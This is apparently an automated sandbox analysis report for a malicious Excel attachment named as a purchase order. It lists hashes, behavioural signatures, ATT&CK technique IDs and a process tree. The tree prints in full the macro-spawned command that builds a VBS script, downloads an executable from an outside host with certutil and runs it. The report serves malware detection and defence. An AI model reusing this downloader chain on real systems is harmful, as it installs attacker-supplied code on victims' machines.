8ab1f75580a67bafa1866c71787864c366f73ee9ec34540c9ab370f6a5b0ddaa

General

Target

ADX07408 PO.xls
Size

144KB
MD5

5ed9dc08ff9847d0559f1bcd0665fa99
SHA1

acd766133e3f29abf8e450df63c04fcb40405ad7
SHA256

8ab1f75580a67bafa1866c71787864c366f73ee9ec34540c9ab370f6a5b0ddaa
SHA512

5e8554d478a7cf3d3d8274c6783e6995ba5a8be1a24d117c98d7c25796800382f8b30eca14e50b805aac709ed6841109933909073360eda138ca989566123a53
SSDEEP

3072:hk3hOdsylKlgryzc4bNhZFGzE+cL2knAL9pWkmanzr0O8qFKdshErlsD9+Z:hk3hOdsylKlgryzc4bNhZF+E+W2knALS

Score

10^/10

Malware Config

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3748	4596	cmd.exe	EXCEL.EXE

Downloads MZ/PE file
Executes dropped EXE 1 IoCs

Processes:

bin.exe

pid process

4608 bin.exe

pid	process
4608	bin.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exeWScript.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000\Control Panel\International\Geo\Nation	WScript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Delays execution with timeout.exe 2 IoCs
evasion

Processes:

timeout.exetimeout.exe

pid process

1384 timeout.exe
2136 timeout.exe

pid	process
1384	timeout.exe
2136	timeout.exe

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Modifies registry class 1 IoCs

Processes:

cmd.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings cmd.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

4596 EXCEL.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-929662420-1054238289-2961194603-1000_Classes\Local Settings	cmd.exe

Suspicious use of SetWindowsHookEx 12 IoCs

Processes:

EXCEL.EXE

pid	process
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE
4596	EXCEL.EXE

Suspicious use of WriteProcessMemory 17 IoCs

Processes:

EXCEL.EXEcmd.exeWScript.execmd.execmd.exe

description	pid	process	target process
PID 4596 wrote to memory of 3748	4596	EXCEL.EXE	cmd.exe
PID 4596 wrote to memory of 3748	4596	EXCEL.EXE	cmd.exe
PID 3748 wrote to memory of 1384	3748	cmd.exe	timeout.exe
PID 3748 wrote to memory of 1384	3748	cmd.exe	timeout.exe
PID 3748 wrote to memory of 4628	3748	cmd.exe	WScript.exe
PID 3748 wrote to memory of 4628	3748	cmd.exe	WScript.exe
PID 3748 wrote to memory of 2136	3748	cmd.exe	timeout.exe
PID 3748 wrote to memory of 2136	3748	cmd.exe	timeout.exe
PID 4628 wrote to memory of 1324	4628	WScript.exe	cmd.exe
PID 4628 wrote to memory of 1324	4628	WScript.exe	cmd.exe
PID 1324 wrote to memory of 4700	1324	cmd.exe	certutil.exe
PID 1324 wrote to memory of 4700	1324	cmd.exe	certutil.exe
PID 4628 wrote to memory of 3220	4628	WScript.exe	cmd.exe
PID 4628 wrote to memory of 3220	4628	WScript.exe	cmd.exe
PID 3220 wrote to memory of 4608	3220	cmd.exe	bin.exe
PID 3220 wrote to memory of 4608	3220	cmd.exe	bin.exe
PID 3220 wrote to memory of 4608	3220	cmd.exe	bin.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\ADX07408 PO.xls"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4596

C:\Windows\SYSTEM32\cmd.exe
cmd.exe /c echo CreateObject("WScript.Shell").Run "cmd.exe /c certutil.exe -urlcache -split -f " + "http://tulpexim.com/html/dll.exe" + " " + "%temp%\bin.exe", 0, True > %temp%\script.vbs && echo CreateObject("WScript.Shell").Run "cmd.exe /c %temp%\bin.exe", 0, True >> %temp%\script.vbs && timeout 3 && start %temp%\script.vbs && timeout 3 && del %temp%\script.vbs
2⤵
- Process spawned unexpected child process
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:3748

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:1384

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\script.vbs"
3⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4628

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c certutil.exe -urlcache -split -f http://tulpexim.com/html/dll.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:1324

C:\Windows\system32\certutil.exe
certutil.exe -urlcache -split -f http://tulpexim.com/html/dll.exe C:\Users\Admin\AppData\Local\Temp\bin.exe
5⤵
PID:4700

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c C:\Users\Admin\AppData\Local\Temp\bin.exe
4⤵
- Suspicious use of WriteProcessMemory
PID:3220

C:\Users\Admin\AppData\Local\Temp\bin.exe
C:\Users\Admin\AppData\Local\Temp\bin.exe
5⤵
- Executes dropped EXE
PID:4608

C:\Windows\system32\timeout.exe
timeout 3
3⤵
- Delays execution with timeout.exe
PID:2136

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

3

T1012

System Information Discovery

4

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
1.2MB

MD5
29b108e40acb05c3c9c2fa8c19b166e3

SHA1
892c676275a723822d2d47dc1a48defec8bde643

SHA256
4fa7679f4f0241ed1e5d63fbae526ff506dd45c350badb0cbb02f7aca61e0ad5

SHA512
9cee10259615c90ea51710fd119dc9c8899b8bf4363513ecbc79aa3a69351c68625f5ca5e7c521d2346a54640358eb2deba0fd6db08a7ade5d2970304ad5beb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\bin.exe
Filesize
1.2MB

MD5
29b108e40acb05c3c9c2fa8c19b166e3

SHA1
892c676275a723822d2d47dc1a48defec8bde643

SHA256
4fa7679f4f0241ed1e5d63fbae526ff506dd45c350badb0cbb02f7aca61e0ad5

SHA512
9cee10259615c90ea51710fd119dc9c8899b8bf4363513ecbc79aa3a69351c68625f5ca5e7c521d2346a54640358eb2deba0fd6db08a7ade5d2970304ad5beb2

Download Submit
C:\Users\Admin\AppData\Local\Temp\script.vbs
Filesize
286B

MD5
b617731d1ae5b4cc113e476295d0dd53

SHA1
3640d4360758a50b547b5bf53fa8a0af2105a906

SHA256
660e8f9cb81f8e6da98ab1e1e9acd95ac54d7b59b97cfb22dc310edd9134df1e

SHA512
f7978246e6287deff350b9ace96c141b83184d7e559fb2c3080e7d2dc25a668bc3aa608b3821f860ab9db1c2d869488245eaf311e8f71793cd2224447721d3f4

Download Submit
memory/1324-144-0x0000000000000000-mapping.dmp

Download
memory/1384-140-0x0000000000000000-mapping.dmp

Download
memory/2136-142-0x0000000000000000-mapping.dmp

Download
memory/3220-146-0x0000000000000000-mapping.dmp

Download
memory/3748-139-0x0000000000000000-mapping.dmp

Download
memory/4596-138-0x00007FF809A10000-0x00007FF809A20000-memory.dmp

Filesize
64KB

Download
memory/4596-134-0x00007FF80BCD0000-0x00007FF80BCE0000-memory.dmp

Filesize
64KB

Download
memory/4596-132-0x00007FF80BCD0000-0x00007FF80BCE0000-memory.dmp

Filesize
64KB

Download
memory/4596-137-0x00007FF809A10000-0x00007FF809A20000-memory.dmp

Filesize
64KB

Download
memory/4596-136-0x00007FF80BCD0000-0x00007FF80BCE0000-memory.dmp

Filesize
64KB

Download
memory/4596-133-0x00007FF80BCD0000-0x00007FF80BCE0000-memory.dmp

Filesize
64KB

Download
memory/4596-135-0x00007FF80BCD0000-0x00007FF80BCE0000-memory.dmp

Filesize
64KB

Download
memory/4608-147-0x0000000000000000-mapping.dmp

Download
memory/4608-150-0x00000000007C0000-0x00000000008EE000-memory.dmp

Filesize
1.2MB

Download
memory/4608-151-0x00000000052C0000-0x000000000535C000-memory.dmp

Filesize
624KB

Download
memory/4608-152-0x0000000005910000-0x0000000005EB4000-memory.dmp

Filesize
5.6MB

Download
memory/4608-153-0x0000000005360000-0x00000000053F2000-memory.dmp

Filesize
584KB

Download
memory/4608-154-0x0000000005290000-0x000000000529A000-memory.dmp

Filesize
40KB

Download
memory/4608-155-0x0000000005550000-0x00000000055A6000-memory.dmp

Filesize
344KB

Download
memory/4628-141-0x0000000000000000-mapping.dmp

Download
memory/4700-145-0x0000000000000000-mapping.dmp

Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

Replay Monitor

Loading Replay Monitor...

Downloads